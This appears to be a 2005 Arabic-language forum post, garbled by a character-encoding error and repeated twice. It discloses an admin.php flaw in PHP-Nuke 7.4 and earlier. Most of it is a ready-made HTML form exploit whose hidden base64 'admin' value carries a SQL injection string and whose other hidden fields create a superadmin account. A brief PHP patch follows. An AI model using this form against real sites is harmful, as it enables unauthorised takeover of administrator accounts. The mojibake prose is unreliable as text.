VIP
28-01-2005, 07:15 AM
ËÛÑÉ Çáäíæß ÇáÌÏíÏå , ãÚ ÇáÊÑÞíÚ !
ÇáÓáÇã Úáíßã æÑÍãÉ Çááå æÈÑßÇÊå
ÇáËÛÑÉ Ýí ãáÝ : Admin.php
æåí ÚÈÇÑÉ Úä ÇÓÊËãÇÑ .. áÎØÇÁ ÈÑãÌí ÈÇáãáÝ ,,
íãøßä ÇáãÎÊÑÞ ãä ÇáÍÕæá Úáì ÍÓÇÈ ÇÏÇãä Ýí ãÌáÉ Çáäíæß ,,
ÇáÇÕÏÇÑÇÊ ÇáãÕÇÈÉ : 7.4 æãÇ ÊÍÊåÇ ãä ÇÕÏÇÑÇÊ ,
æåÐÇ ÌÒÁ ãä ÇáßæÏ ÇáÇÓÊËãÇÑí ááËÛÑÉ ØÈÚÇ ßæÏ html:
NOME:
<input type="text"
name="add_name">
<br>
PASSWORD:
<input type="text"
name="add_pwd">
<br>
E-MAIL:
<input type="text"
name="add_email">
<br>
<input type="hidden"
name="admin"
value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden"
name="add_radminsuper" value="1">
<br>
<input type="hidden"
name="op"
value="AddAuthor">
</p>
<p>
<input type="submit"
name="Submit"
value="Create
Admin">
<br>
</p>
</form>
ÇáÊÑÞíÚ ÇáÕÍíÍ :
Þã ÈÇÖÇÝÉ åÐÉ ÇáÓØæÑ Çáì ãáÝ admin.php
if ( !empty($HTTP_GET_VARS['op']) )
{
$op = $HTTP_GET_VARS['op'];
}
if ( !empty($HTTP_POST_VARS['op']) )
{
$op = $HTTP_POST_VARS['op'];
}
ãÚ ÇáÊÍíÉ ÇÎæÇäí ÇÕÍÇÈ ÇáãæÇÞÚ
ÇáÓáÇã Úáíßã æÑÍãÉ Çááå æÈÑßÇÊå
ÇáËÛÑÉ Ýí ãáÝ : Admin.php
æåí ÚÈÇÑÉ Úä ÇÓÊËãÇÑ .. áÎØÇÁ ÈÑãÌí ÈÇáãáÝ ,,
íãøßä ÇáãÎÊÑÞ ãä ÇáÍÕæá Úáì ÍÓÇÈ ÇÏÇãä Ýí ãÌáÉ Çáäíæß ,,
ÇáÇÕÏÇÑÇÊ ÇáãÕÇÈÉ : 7.4 æãÇ ÊÍÊåÇ ãä ÇÕÏÇÑÇÊ ,
æåÐÇ ÌÒÁ ãä ÇáßæÏ ÇáÇÓÊËãÇÑí ááËÛÑÉ ØÈÚÇ ßæÏ html:
NOME:
<input type="text"
name="add_name">
<br>
PASSWORD:
<input type="text"
name="add_pwd">
<br>
E-MAIL:
<input type="text"
name="add_email">
<br>
<input type="hidden"
name="admin"
value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden"
name="add_radminsuper" value="1">
<br>
<input type="hidden"
name="op"
value="AddAuthor">
</p>
<p>
<input type="submit"
name="Submit"
value="Create
Admin">
<br>
</p>
</form>
ÇáÊÑÞíÚ ÇáÕÍíÍ :
Þã ÈÇÖÇÝÉ åÐÉ ÇáÓØæÑ Çáì ãáÝ admin.php
if ( !empty($HTTP_GET_VARS['op']) )
{
$op = $HTTP_GET_VARS['op'];
}
if ( !empty($HTTP_POST_VARS['op']) )
{
$op = $HTTP_POST_VARS['op'];
}
ãÚ ÇáÊÍíÉ ÇÎæÇäí ÇÕÍÇÈ ÇáãæÇÞÚ